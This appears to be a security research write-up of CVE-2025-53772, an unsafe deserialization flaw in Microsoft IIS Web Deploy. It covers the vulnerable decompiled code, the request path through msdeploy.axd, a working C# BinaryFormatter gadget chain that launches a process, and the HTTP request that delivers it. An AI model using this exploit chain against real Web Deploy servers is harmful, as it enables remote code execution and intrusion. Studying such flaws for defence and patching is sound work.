CVE-2025-53772 — IIS Web Deploy RCE
In this study, we will examine a critical vulnerability discovered in the Microsoft Web Deploy (msdeploy) environment. This vulnerability arises from the deserialization of specific HTTP header fields sent to the msdeployagentservice
and msdeploy.axd
endpoints after being processed through GZip and Base64 decoding.
CVE-2025-53772 / 8.8
What is IIS Web Deploy?
IIS Web Deploy (msdeploy) is a toolset that packages and transfers web applications, IIS configurations, and provider-based resources to a target environment.
It supports two types of access mechanisms:
Via Web Management Service (WMSvc) over HTTP(S) endpoint: /msdeploy.axd
Via Web Deploy Agent Service (MsDepSvc): msdeployagentservice
Key capabilities include:
Synchronization and deployment using providers for files, websites, certificates, databases, etc.
Package creation (GetPackage
) and package application (Sync
) workflows
This high flexibility, when combined with serialization designs that do not strictly validate inputs, expands the attack surface.
Deserialize
public static object Deserialize(string str, out Exception handledException)
{
handledException = null;
BinaryFormatter binaryFormatter = new BinaryFormatter(); [1]
byte[] array = Convert.FromBase64String(str); [2]
object obj;
try
{
obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);
}
catch (SerializationException ex)
{
handledException = ex;
binaryFormatter.Binder = new Base64EncodingHelper.HandleMissingExceptionTypesSerializationBinder();
obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);
}
return obj;
}
private static object DeserializeHelper(BinaryFormatter formatter, byte[] buffer)
{
object obj;
using (MemoryStream memoryStream = new MemoryStream(buffer))
{
using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) [3]
{
obj = formatter.Deserialize(gzipStream); [4]
}
}
return obj;
}
How It Works:
1. BinaryFormatter
is invoked.
2. Base64Decode
– The incoming data is Base64-decoded.
3. Decompress Gzip
– The decoded data is decompressed using GZip.
4. Deserialize
– The decompressed data is deserialized.
Result:
When data is received, it first goes through Base64 decoding, then it is decompressed with GZip. After decompression, the resulting content is passed to the deserialization process.
Trace
==> Microsoft.Web.Deployment.Base64EncodingHelper.DeserializeHelper(BinaryFormatter, byte[]) : object @0600000F
==> Microsoft.Web.Deployment.Base64EncodingHelper.Deserialize(string, out Exception) : object @0600000E
==> Microsoft.Web.Deployment.SerializationHelper.Deserialize(string) : object @060002A4
Msdeploy.axd
The Microsoft Web Deployment service is an HTTP-based service designed to manage deployment operations on web servers remotely. This service exposes a public API through the msdeploy.axd
endpoint.
This endpoint allows deployment tools (such as Visual Studio, MSDeploy.exe, and PowerShell cmdlets) to remotely deploy applications to servers.
Handler
public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback cb, object extraData)
{
context.Server.ScriptTimeout = int.MaxValue;
context.Response.BufferOutput = false;
HandlerAgentWorkerRequest handlerAgentWorkerRequest = new HandlerAgentWorkerRequest(context);
IAsyncResult asyncResult;
try
{
asyncResult = DeploymentAgent.BeginProcessRequest(handlerAgentWorkerRequest, cb, extraData);
}
catch (Exception ex)
{
DeploymentException ex2 = new DeploymentException(ex, Resources.DeploymentAgentException, new object[] { "UnhandledException" });
Tracer.TraceError(DeploymentTraceSource.Agent, Resources.DeploymentAgentException, new object[] { ex2 });
throw;
}
return asyncResult;
}
We will examine the msdeploy.axd
endpoint, which is accessible from outside, and proceed towards the deserialization vulnerability.
[1] ===> Microsoft.Web.Deployment.DeploymentAgentHandler.BeginProcessRequest(HttpContext, AsyncCallback, object) : IAsyncResult @0600075A
[2] ===> Microsoft.Web.Deployment.DeploymentAgent.BeginProcessRequest(DeploymentAgentWorkerRequest, AsyncCallback, object) : IAsyncResult @060004C0
[3] ===> Microsoft.Web.Deployment.DeploymentAgent.HandleRequest(DeploymentAgentAsyncData) : bool @060004C1
[4] ===> Microsoft.Web.Deployment.DeploymentAgent.HandleRequestWorker(DeploymentAgentAsyncData) : bool @060004C2
[5] ===> Microsoft.Web.Deployment.DeploymentAgent.HandleSync(DeploymentAgentWorkerRequest) : void @060004C9
3- HandleRequest
takes the DeploymentAgentAsyncData async wrapper.
4- HandleRequestWorker
parses the HTTP method and headers.
HandleSync
private static void HandleSync(DeploymentAgentWorkerRequest workerRequest)
{
...
try
{
string requestHeader = workerRequest.GetRequestHeader("Content-Type");
if (!string.Equals(requestHeader, "application/msdeploy", StringComparison.OrdinalIgnoreCase))
{
throw new DeploymentException(Resources.AgentBadRequestHeader, new object[] { "Content-Type", requestHeader, "application/msdeploy" });
}
string requestHeader2 = workerRequest.GetRequestHeader("MSDeploy.SyncOptions");
if (string.IsNullOrEmpty(requestHeader2))
{
throw new DeploymentException(Resources.AgentExpectingHeader, new object[] { "MSDeploy.SyncOptions" });
}
DeploymentSyncOptions deploymentSyncOptions = (DeploymentSyncOptions)SerializationHelper.Deserialize(requestHeader2);
...
}
There are multiple conditions in this part; if even one of them is missing, an exception is thrown:
1. MSDeploy.RequestId
2. Content-Type
3. MSDeploy.SyncOptions
(RCE zone)

Let’s look at the deserialization part: At this stage, it expects the MSDeploy.SyncOptions
data as a header. Our payload (GZip + Base64) is deserialized here.
PoC
CVE-2025-53772 IIS WebDeploy RCE · GitHub
static void Main(string[] args)
{
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("cmd.exe");
set.Add("/c calc");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
using (MemoryStream stream = new MemoryStream())
{
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(stream, set);
using (MemoryStream compst = new MemoryStream())
{
using (GZipStream gzipStream = new GZipStream(compst, CompressionMode.Compress))
{
stream.Position = 0;
stream.CopyTo(gzipStream);
}
string gzb4 = Convert.ToBase64String(compst.ToArray());
Console.WriteLine(gzb4);
}
}
}
POST /msdeploy.axd HTTP/1.1
Host: msdeploy.webserver.com
MSDeploy.RequestId: 1
Content-Type: application/msdeploy
MSDeploy.Method: Sync
MSDeploy.SyncOptions: H4sIAAAAAAAAA...[Generated Payload]
Content-Length: 0
Conclusion
CVE-2025-53772 is a critical RCE vulnerability in Microsoft Web Deploy’s msdeploy.axd and msdeployagentservice endpoints, caused by unsafe deserialization of HTTP header data in GZip + Base64 format. It allows an authenticated attacker to execute code remotely. Permanent mitigation requires secure deserialization and strict access controls.